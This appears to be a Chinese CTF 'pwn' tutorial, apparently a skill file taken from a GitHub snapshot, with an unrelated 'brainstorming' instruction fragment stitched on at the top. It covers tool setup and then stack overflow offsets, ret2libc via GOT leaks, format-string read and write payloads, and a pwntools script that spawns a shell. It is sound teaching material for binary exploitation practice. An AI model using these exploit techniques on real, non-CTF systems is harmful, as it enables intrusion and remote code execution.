brainstorming
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, modifying behavior, or planning anything new, in software or out of it (a talk, a business, a renovation).
re-pwnCTF pwn 入门:栈溢出、格式化字符串、ret2libc。 触发词:pwn、栈溢出、格式化字符串、ret2libc、ROP、shellcode 注入
Independent GitHub snapshot · Automated classification · Original documentation governs
参考 [[re-analyze/platform-tips]]——利用验证默认沙箱;先静态分析(反汇编 / checksec)再动态调试,符合「静态优先」思路。
pip install pwntools(官方 PyPI,当前正式版 4.15.0;64 位系统支持最好)pwntools==4.15.0sudo apt install python3-pwntools、Fedora sudo dnf install python3-pwntools、Arch sudo pacman -S python-pwntools(Extra 仓库官方包)externally-managed-environment——对策:建 venv(python3 -m venv ~/venvs/pwn && source ~/venvs/pwn/bin/activate 后 pip install),或发行版 apt 包,或 pip install --break-system-packages(系统级,注意风险)pwn --version / python3 -c "import pwn; print(pwn.version)"pwn checksec --file ./targetchecksec 命令(装好 pwndbg 即用,见 [[re-gdb]])pwn checksec --file ./target 输出含 Arch/RELRO/Stack Canary/NX/PIE 各行sudo apt install gdb、Fedora sudo dnf install gdb、Arch sudo pacman -S gdb、macOS brew install gdb(建议 lldb)sudo apt install gdb-multiarch(64 位 gdb 调 32 位目标要它);跑 32 位动态链接程序还需 32 位运行库 sudo apt install libc6-i386~/.gdbinit);验证: 进 gdb 有 pwndbg/gef bannergem install one_gadget(Ruby gem,one_gadget 1.10.0 要求 Ruby ≥ 3.1(gemspec 声明);Debian/Ubuntu 先 sudo apt install ruby;macOS 自带 Ruby,sudo gem install one_gadget)sudo pacman -S one_gadget(Extra 仓库官方包);Fedora 无包 → gem 安装one_gadget /lib/x86_64-linux-gnu/libc.so.6(列出候选 one_gadget 及其约束条件)按顺序执行;每步产物(checksec 输出、偏移、libc base、flag)记录证据路径 + sha256(存证方法见 [[re-triage]]),供 writeup 引用。
漏洞识别(checksec 保护 / 反汇编找危险函数):
file target && sha256sum target > target.sha256
pwn checksec --file target # NX / PIE / Canary / RELRO —— 决定利用路线(见坑 1)
gets / strcpy / scanf("%s") / 手动 read(fd, buf, 大长度) / sprintf —— 重点看缓冲区大小与输入长度是否受限(read(fd, buf, 0x40) 配 0x20 的 buf 就是溢出点)printf(user_input) / sprintf(buf, user_input)(第一个参数不是常量字符串)/bin/sh 或函数名含 win/backdoor/flag,xref 确认可达性栈溢出利用(偏移计算、覆盖返回地址):
# 偏移计算:cyclic 生成模式串,崩溃后定位返回地址在输入中的偏移
python3 -c "from pwn import *; print(cyclic(200, n=8))" > /tmp/patt
# 本地崩溃(沙箱内)→ gdb/pwndbg 看 $rsp,或直接 pwntools 一体化:
from pwn import *
p = process('./target'); p.sendline(cyclic(200, n=8)); p.wait()
core = p.corefile # 需开启 core dump
print("offset:", cyclic_find(core.pc, n=8)) # 64 位 rip 在 core.pc
offset * b'A' + p64(win_addr)pop rdi; ret 类 gadget 传参(坑 5)pwn checksec 显示 NX disabled)→ 可把 shellcode 放栈上,返回地址指向它(ret2shellcode);NX 开启走 ③x/10gx $rsp)ret2libc(PLT/GOT、libc 版本识别):
system("/bin/sh"):objdump -d target | grep -E '<puts@plt>|<printf@plt>|<system@plt>' # PLT 可调函数
objdump -R target | grep puts # GOT 存 libc 实际地址
puts@plt(puts@got)(rdi = puts@got,见坑 5)→ 打印出 libc 中 puts 的真实地址 → 返回 main 再打第二段one_gadget ./libc.so.6 # 若有 libc 文件:直接列 one_gadget
# 或用泄露的 puts 地址后 3 位 hex 查 libc-database: ./find puts 7a0
libc_base = leaked_puts - puts_offset;system_addr = libc_base + system_offset;binsh_addr = libc_base + binsh_offset(readelf -s libc.so.6 | grep system 与 strings -tx libc.so.6 | grep /bin/sh)pop rdi; ret → binsh_addr → system → 收尾(对齐,坑 5)格式化字符串(泄露 / 写):
# 泄露:把输入原样做 format 的参数,%p 逐个试偏移
python3 -c "print('%p.'*20)" | ./target
from pwn import *
p = process('./target')
p.sendline(b'%6$p %7$p') # %N$ 是逻辑参数列表第 N 个参数: format 占 rdi,%1$–%5$ 来自 rsi/rdx/rcx/r8/r9,%6$/%7$ 即调用者栈上第 1/2 个 8 字节
print(p.recvline())
%N$p 读 printf 逻辑参数列表的第 N 个参数,不是第 N 个栈槽;SysV AMD64 下 format 占 RDI,前 5 个整型/指针可变参来自 RSI/RDX/RCX/R8/R9,第 6 个起才来自栈;无对应实参时读到的是调用现场残留,偏移必须探测(往返几次定位 flag / 返回地址 / libc 地址,见坑 4 的环境差异)%N$n 把已输出字节数写到第 N 个参数指向的地址——payload 布局 = 目标地址(前 8 字节)+ 偏移到该地址 + %<len>c%N$n 分段写(先小后大,或用 %hhn 按字节写省字节数)fmtstr_payload(offset, {got_addr: win_addr}, write_size='byte')(offset 来自实测,不是可套用的 ABI 常数)本地验证(pwntools 脚本):
from pwn import *
context.binary = './target' # 自动取架构/位数/保护
context.log_level = 'debug'
p = process('./target') # 本地(沙箱内);远程: remote('host', port)
payload = b'A'*offset + p64(win_addr)
p.sendline(payload)
p.interactive() # 拿到 shell 后 cat flag
checksec 命令system//bin/sh 偏移打远程直接崩,或泄露地址用本地 libc 算 base 完全对不上;原因——不同 libc 版本符号偏移不同(glibc 2.27 与 2.31 的 puts 偏移差很多),本地 /lib/x86_64-linux-gnu/libc.so.6 与远程环境不一致;对策——题目给 libc 文件就用它(strings -tx / readelf -s 取偏移);没给则用泄露的低 12 位 + libc-database(./find puts 7a0)或在线 libc.rip 匹配版本,再用匹配到的 libc 算所有偏移;远程打之前先确认远程 libc 与本地一致(用格式化字符串泄露 __libc_start_main 地址对比)context 配置(位数/字节序错会 p64 全错)、stdin 交互时序(程序有打印延迟/提示符)、远程只读 flag 路径;对策——先把 context.binary 配对,本地用题目给的同版本 libc 与系统(patchelf --set-interpreter + --replace-needed 换成本地同一 libc 跑通);远程脚本统一 remote() + 带 sleep/recvuntil 的时序处理;本地验证加 setvbuf/提示符差异模拟;最终以题目给的远程 libc 文件为准system 报段错误或调了不存在地址;原因——x86-64 SysV ABI 前 6 个参数走寄存器(rdi/rsi/rdx/rcx/r8/r9),不是栈;ROP 需要 pop rdi; ret 把栈上值弹进 rdi 再 ret 到目标函数;原因之二——call 后 $rsp 未对齐 16 字节时 movaps 类指令直接崩(glibc 新版本常见);对策——ROPgadget --binary target | grep 'pop rdi' 或 ropper --search "pop rdi" 找 gadget(见 [[re-exploit]]);每段调用前 gadget 链 = pop rdi; ret → 参数 → 目标地址;system 前栈地址先 +8(对齐 ret)或用 ret gadget 调整;32 位目标才用纯栈传参%6$p 读出的值与预期栈布局对不上,或 %n 写入后程序直接崩;原因——偏移数错(不同编译/平台参数位置不同,输入本身也在栈上占用位置);写目标地址不可写(GOT full RELRO 只读、写到非法地址);分段写顺序错(从大值写小值会死循环);对策——先用 %p 全量 dump 对齐栈布局(python3 -c "print('%p.'*30)"),记录输入自身落在第几个参数位(它常是偏移基准);写之前 pwn checksec 确认 GOT 是否可写(partial RELRO 才行);%hhn 按字节写并从小到大排;每步用 gdb 验证目标地址内容确实被改